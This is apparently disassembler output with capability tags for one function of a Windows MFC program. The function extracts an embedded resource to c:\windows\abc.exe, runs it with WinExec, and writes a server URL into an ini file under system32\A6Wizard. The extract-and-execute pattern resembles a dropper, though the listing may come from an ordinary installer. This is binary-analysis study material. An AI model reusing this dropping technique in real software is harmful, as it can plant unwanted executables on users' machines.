Function at 0x401000
Capabilities:
Accept command line arguments
Create directory
Create process on windows
Extract resource via kernel32 functions
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x401c76
mov eax, dword fs:[0]
push eax
sub esp, 0x848
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x840], eax
push ebx
push esi
push edi
mov eax, dword [section..data]
xor eax, esp
push eax
lea eax, [esp + 0x858]
mov dword fs:[0], eax
push 0x10
push 0
push 0
push 0x66
push 0x4022ab
push 0
call dword [sym.imp.USER32.dll_LoadImageA]
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call sub.MFC80.DLL_Ordinal_1206
test eax, eax
jne 0x401084
push 0x4021f8
call dword [sym.imp.MSVCR80.dll_printf]
add esp, 4
mov ebx, 1
call sub.MFC80.DLL_Ordinal_1084
mov eax, dword [eax + 0xc]
push 0x402210
push 0x65
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
call sub.MFC80.DLL_Ordinal_1084
mov eax, dword [eax + 0xc]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
lea ecx, [esp + 0x3c]
mov edi, eax
call sub.MFC80.DLL_Ordinal_384
push 0
push 0x1001
push str.c:windows_abc.exe
lea ecx, [esp + 0x48]
mov dword [esp + 0x86c], 0
call sub.MFC80.DLL_Ordinal_5089
test eax, eax
je 0x4010fd
call sub.MFC80.DLL_Ordinal_1084
mov eax, dword [eax + 0xc]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
push edi
lea ecx, [esp + 0x44]
call sub.MFC80.DLL_Ordinal_6288
lea ecx, [esp + 0x3c]
call sub.MFC80.DLL_Ordinal_1439
push 5
push str.c:windows_abc.exe
call dword [sym.imp.KERNEL32.dll_WinExec]
lea ecx, [esp + 0x1c]
call dword [sym.imp.MFC80.DLL_Ordinal_310]
push 0x104
push 0x105
lea ecx, [esp + 0x24]
mov byte [esp + 0x868], 1
call dword [sym.imp.MFC80.DLL_Ordinal_2475]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x28]
call sub.MFC80.DLL_Ordinal_556
lea ecx, [esp + 0x14]
call dword [sym.imp.MFC80.DLL_Ordinal_310]
lea ecx, [esp + 0x24]
call dword [sym.imp.MFC80.DLL_Ordinal_310]
push 0
mov byte [esp + 0x864], 4
mov eax, dword [esp + 0x20]
push 0
push eax
lea ecx, [esp + 0x34]
call sub.MFC80.DLL_Ordinal_5097
test eax, eax
setne al
cmp al, 1
jne 0x4011a1
push 2
push 0xffffffffffffffff
push 0xffffffffffffffd8
lea ecx, [esp + 0x34]
call sub.MFC80.DLL_Ordinal_5630
lea ecx, [esp + 0x14]
push ecx
lea ecx, [esp + 0x2c]
call sub.MFC80.DLL_Ordinal_5346
jmp 0x4011b0
push str.a6http:_http:__localhost:8080_yyoa__
lea ecx, [esp + 0x18]
call dword [sym.imp.MFC80.DLL_Ordinal_784]
lea ecx, [esp + 0x28]
call sub.MFC80.DLL_Ordinal_2314
lea ecx, [esp + 0x28]
call sub.MFC80.DLL_Ordinal_1452
mov edx, dword [esp + 0x14]
mov esi, dword [edx - 0xc]
push 0
push 0x402250
lea ecx, [esp + 0x1c]
call dword [sym.imp.MFC80.DLL_Ordinal_2272]
sub esi, eax
sub esi, 2
push esi
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x1c]
call dword [sym.imp.MFC80.DLL_Ordinal_5563]
mov byte [esp + 0x860], 5
mov ecx, dword [esp + 0x18]
mov eax, dword [ecx - 0xc]
add eax, 0xffffffff
push eax
lea edx, [esp + 0x24]
push edx
lea ecx, [esp + 0x20]
call dword [sym.imp.MFC80.DLL_Ordinal_3997]
push 0
push str.C:WINDOWS_system32A6Wizard
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [esp + 0x4c]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [esp + 0x4c]
push ecx
mov edx, ecx
push str.C:WINDOWS_system32A6Wizardinitconfig.ini
push edx
call dword [sym.imp.MSVCR80.dll_sprintf]
mov ecx, dword [esp + 0x2c]
add esp, 0xc
lea eax, [esp + 0x4c]
push eax
push ecx
push 0x4022a0
push str.server
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
lea ecx, [esp + 0x20]
call dword [sym.imp.MFC80.DLL_Ordinal_578]
lea ecx, [esp + 0x18]
call dword [sym.imp.MFC80.DLL_Ordinal_578]
lea ecx, [esp + 0x24]
call dword [sym.imp.MFC80.DLL_Ordinal_578]
lea ecx, [esp + 0x14]
call dword [sym.imp.MFC80.DLL_Ordinal_578]
lea ecx, [esp + 0x28]
mov byte [esp + 0x860], 1
call sub.MFC80.DLL_Ordinal_744
lea ecx, [esp + 0x1c]
call dword [sym.imp.MFC80.DLL_Ordinal_578]
lea ecx, [esp + 0x3c]
mov dword [esp + 0x860], 0xffffffff
call sub.MFC80.DLL_Ordinal_629
mov eax, ebx
mov ecx, dword [esp + 0x858]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x840]
xor ecx, esp
call fcn.00401344
mov esp, ebp
pop ebp
ret